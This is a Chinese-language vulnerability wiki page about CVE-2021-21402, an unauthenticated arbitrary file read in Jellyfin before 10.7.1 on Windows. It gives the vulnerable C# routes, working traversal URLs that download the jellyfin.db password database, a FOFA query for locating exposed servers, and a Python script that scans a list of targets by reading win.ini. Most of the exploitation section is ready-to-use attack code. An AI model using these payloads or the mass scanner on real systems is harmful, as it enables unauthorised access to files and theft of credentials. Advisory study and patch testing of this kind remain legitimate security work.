menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Jellyfin chevron_right Jellyfin 任意文件读取漏洞 CVE-2021-21402.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Jellyfin 任意文件读取漏洞 CVE-2021-21402.md
    7.12 KB / 2021-04-15 12:15:18
        # Jellyfin 任意文件读取漏洞 CVE-2021-21402
    
    ## 漏洞描述
    
    Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中,带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时,此问题更为普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问,但是建议尽快进行更新。
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > Jellyfin < 10.7.1
    
    ## FOFA
    
    > [!NOTE]
    >
    > title='Jellyfin' || body='http://jellyfin.media'
    
    ## 漏洞复现
    
    无论是`/Audio/{Id}/hls/{segmentId}/stream.mp3`和`/Audio/{Id}/hls/{segmentId}/stream.aac`路线允许任意文件在Windows上读取。可以`{segmentId}`使用Windows路径分隔符`\`(对`%5C`URL进行编码)将路由的一部分设置为相对或绝对路径。最初,攻击者似乎只能读取以`.mp3`和`.aac`结尾的文件。但是,通过在URL路径中使用斜杠
    
    Path.GetExtension(Request.Path)`返回一个空扩展名,从而获得对结果文件路径的完全控制。的`itemId,因为它没有使用也没有关系。该问题不仅限于Jellyfin文件,因为它允许从文件系统读取任何文件。
    
    ```java
    // Can't require authentication just yet due to seeing some requests come from Chrome without full query string
    // [Authenticated] // [1]
    [HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
    [HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
    //...
    public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
    {
        // TODO: Deprecate with new iOS app
        var file = segmentId + Path.GetExtension(Request.Path); //[2]
        file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
    
        return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
    }
    ```
    
    使用如下请求将会读取带有密码的数据库文件
    
    ```
    http://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ 
    ```
    
    另一处代码如下
    
    ```java
    // Can't require authentication just yet due to seeing some requests come from Chrome without full query string
    // [Authenticated] //[1]
    [HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
    //...
    public ActionResult GetHlsVideoSegmentLegacy(
        [FromRoute, Required] string itemId,
        [FromRoute, Required] string playlistId,
        [FromRoute, Required] string segmentId,
        [FromRoute, Required] string segmentContainer)
    {
        var file = segmentId + Path.GetExtension(Request.Path); //[2]
        var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
    
        file = Path.Combine(transcodeFolderPath, file); //[3]
    
        var normalizedPlaylistId = playlistId;
    
        var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
        // Add . to start of segment container for future use.
        segmentContainer = segmentContainer.Insert(0, ".");
        string? playlistPath = null;
        foreach (var path in filePaths)
        {
            var pathExtension = Path.GetExtension(path);
            if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
                    || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
                && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
            {
                playlistPath = path;
                break;
            }
        }
    
        return playlistPath == null
            ? NotFound("Hls segment not found.")
            : GetFileResult(file, playlistPath);
    }
    ```
    
    该`/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}`路由允许在Windows上读取未经身份验证的任意文件。可以`{SegmentId}.{SegmentContainer}`使用Windows路径分隔符`\`(对`%5C`URL进行编码)将路由的一部分设置为相对或绝对路径。在`SegmentId`从和文件扩展名`Path`被级联。结果`file`用作`Path.Combine`[3]的第二个参数。但是,如果第二个参数是绝对路径,则第一个参数to将`Path.Combine`被忽略,而得到的路径仅是绝对路径`file`。
    
    POC如下,下载同样的文件
    
    ```
    http://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db
    ```
    
    如上为证明漏洞存在和可利用性,详情链接参考
    
    https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    
    ## 漏洞POC
    
    ```
    import requests
    import sys
    import random
    import re
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
        print('+  \033[34mVersion: Jellyfin < 10.7.1                                        \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mFile         >>> ip.txt                                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=2)
            if response.status_code == 200 and "file" in response.text and "extension" in response.text and "font" in response.text:
                print("\033[32m[o] 目标 {} 存在漏洞(读取 windows/win.ini), 链接为:{} \033[0m".format(target_url, vuln_url))
            else:
                print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
        except Exception as e:
            print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
    
    def Scan(file_name):
        with open(file_name, "r", encoding='utf8') as scan_url:
            for url in scan_url:
                if url[:4] != "http":
                    url = "http://" + url
                url = url.strip('\n')
                try:
                    POC_1(url)
    
                except Exception as e:
                    print("\033[31m[x] 请求报错 \033[0m".format(e))
                    continue
    
    if __name__ == '__main__':
        title()
        file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
        Scan(file_name)
    ```
    
    ![](image/je-1.png)
    
    ## Goby & POC
    
    > [!NOTE]
    >
    > 已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
    >
    > Jellyfin 10.7.0 Unauthenticated Abritrary File Read CVE-2021-21402
    
    ![](image/je-2.png)
    
    links
    file_download